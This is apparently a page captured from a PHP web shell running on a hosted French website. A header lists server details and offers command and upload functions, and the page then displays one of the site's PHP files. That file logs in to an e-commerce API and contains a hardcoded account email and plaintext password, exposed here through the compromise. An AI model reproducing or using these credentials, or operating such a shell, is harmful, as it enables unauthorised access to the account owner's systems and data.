|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
session_start();
$url = "https://api.wizishop.com/v3/auth/login";
$data = [
"username" => "contact@ns-ebiz.fr",
"password" => "Steeven2411"
];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "Accept: application/json"]);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
$response = curl_exec($ch);
if ($response === false) die("Erreur cURL : " . curl_error($ch));
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$result = json_decode($response, true);
echo "HTTP Code = $httpCode<br/>";
if (!isset($result["token"])) {
echo "Token non reçu ❌<br/>";
echo "<pre>" . htmlspecialchars($response) . "</pre>";
exit;
}
// ✅ on sauvegarde le token en session
$_SESSION["wizishop_token"] = $result["token"];
echo "Token enregistré ✅<br/>";
echo "Va maintenant sur la page: wiz_orders.php";
